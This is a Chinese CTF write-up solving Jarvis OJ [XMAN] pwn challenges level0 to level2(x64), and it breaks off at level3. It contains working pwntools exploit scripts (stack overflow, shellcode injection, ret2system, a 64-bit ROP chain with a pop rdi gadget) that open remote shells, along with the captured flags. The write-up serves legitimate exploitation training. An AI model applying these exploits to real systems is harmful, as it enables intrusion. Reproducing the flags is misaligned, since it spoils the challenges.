背景知识:64位程序与32位程序有几处不同点,其中之一为参数传递方式不同,32位程序通过栈传参,64位优先寄存器,前6个参数保存在寄存器内,依次保存在rdi, rsi, rdx, rcx, r8, r9,剩余的参数,从右到左入栈。
一、[XMAN]level0
下载链接
题目描述: nc pwn2.jarvisoj.com 9881
file查看文件信息,64位程序;checksec后发现开了NX,然后拉进ida找到两个关键函数
buffer的大小是0x80,而read函数直接读取0x200的数据,有典型的栈溢出漏洞。由于rbp中有0x8个字节,我们的padding需要0x80 + 0x8字节。填满buffer后调用callsystem函数即可get shell。
脚本如下:
from pwn import *
sh = remote('pwn2.jarvisoj.com', 9881)
padding = 'A' * 0x88
callsystem = 0x400596
#构造payload。
payload = padding + p64(callsystem)
#交互
sh.send(payload)
sh.interactive()
p64()默认将int转为little-endian bytes。32位文件用p32(),例如:
>>> p64(0xdeadbeef)
'\xef\xbe\xad\xde'
CTF{713ca3944e92180e0ef03171981dcd41}
二、[XMAN]level1
下载链接
题目描述: nc pwn2.jarvisoj.com 9877
file查看文件信息,32位程序;checksec后没开常用保护机制 ida查看发现有一个关键函数
这次没有callsystem函数,需要生成shellcode。没有开启NX保护,可以插入shellcode。这里buf有0x88个字节,再加上ret本身的0x4个字节,偏移量为0x8C,还要减去shellcode的长度。连接到服务器,发现每次会随机给出一个地址,类似这样:
yl123456@ubuntu:~/Desktop$ nc pwn2.jarvisoj.com 9877
What's this:0xfff180b0?
编写脚本的时候要读取这个地址,将其定义为buf_addr。 脚本如下:
from pwn import *
#调用pwntools自带的功能生成shellcode
shellcode = asm(shellcraft.sh())
io = remote('pwn2.jarvisoj.com', 9877)
#提取给出的地址并将string转为int
buf_addr = int(io.recvline()[14:-2], 16)
#构造payload
payload = shellcode + 'A' * (0x8C -len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
第二种写法:
from pwn import *
p = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh())
p.recvuntil("What's this:")
buf_addr = int(p.recvuntil("?")[:-1],16)
payload = shellcode.ljust(140,'a') + p32(buf_addr)
p.send(payload)
p.interactive()
CTF{82c2aa534a9dede9c3a0045d0fec8617}
三、[XMAN]level2
下载链接
题目描述: nc pwn2.jarvisoj.com 9878
file查看文件信息,32位程序;checksec发现开了NX保护 ida查看关键函数
字符串里还发现有/bin/sh 我们需要构造system(“/bin/sh”)。
脚本如下:
from pwn import *
sh = remote('pwn2.jarvisoj.com', 9878)
#指定elf文件
elf = ELF('./level2')
#定位system函数地址
sys_addr = elf.symbols['system']
#定位/bin/sh的地址
sh_addr = elf.search('/bin/sh').next()
#注意这里的p32(4)是虚拟的返回地址,输入什么都可以
payload = 'A' * 0x8C + p32(sys_addr) + p32(4) + p32(sh_addr)
sh.send(payload)
sh.interactive()
也可以不用定位函数,因为没开启PIE保护,所以直接用ida找到system函数、/bin/sh对应对应的地址也ok
from pwn import *
sys_addr = 0x08048320
sh_addr = 0x0804A024
payload = 'A' * 0x8C + p32(sys_addr) + p32(4) + p32(sh_addr)
sh = remote('pwn2.jarvisoj.com', 9878)
sh.send(payload)
sh.interactive()
CTF{1759d0cbd854c54ffa886cd9df3a3d52}
四、[XMAN]level2(x64)
下载链接
题目描述: nc pwn2.jarvisoj.com 9882
file查看文件信息,64位程序;checksec发现开了NX保护 ida查看关键函数
和level2有点类似 同样能看到/bin/sh
我们可以找到system函数,/bin/sh的地址,而且可以得到0x88个字节就会溢出,这样前期准备就都做好了,剩下的就是如何将参数传递给rdi寄存器,因此,我们需要一些gadget来满足我们的需求
命令: ROPgadget --binary level2_x64 --only 'pop|ret'
这样,我们可以很容易的找到pop rdi,地址为0x00000000004006b3
from pwn import *
p = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2_x64")
pop_rdi_ret_addr = 0x00000000004006b3
system_plt = elf.plt['system']
sh_addr = next(elf.search("/bin/sh"))
payload = 'a' * 0x88
payload += p64(pop_rdi_ret_addr)
payload += p64(sh_addr)
payload += p64(system_plt)
p.send(payload)
p.interactive()
或者直接找地址:
from pwn import *
p=remote('pwn2.jarvisoj.com',9882)
sh_addr=0x600a90
sys_addr=0x4004c0
popret=0x00000000004006b3
payload='a'*0x88 + p64(popret) + p64(sh_addr) + p64(sys_addr)
p.send(payload)
p.interactive()
CTF{081ecc7c8d658409eb43358dcc1cf446}
另外发现网上有些wp尝试在payload上加p64(1),后来发现此题不用加,若加必须加在最后一位才可,倒数第二位就不可。
疑问: 怎么区分加与不加(与上一题比较)?
五、[XMAN]level3
下载链接
题目描述: nc pwn2.jarvisoj.com 9879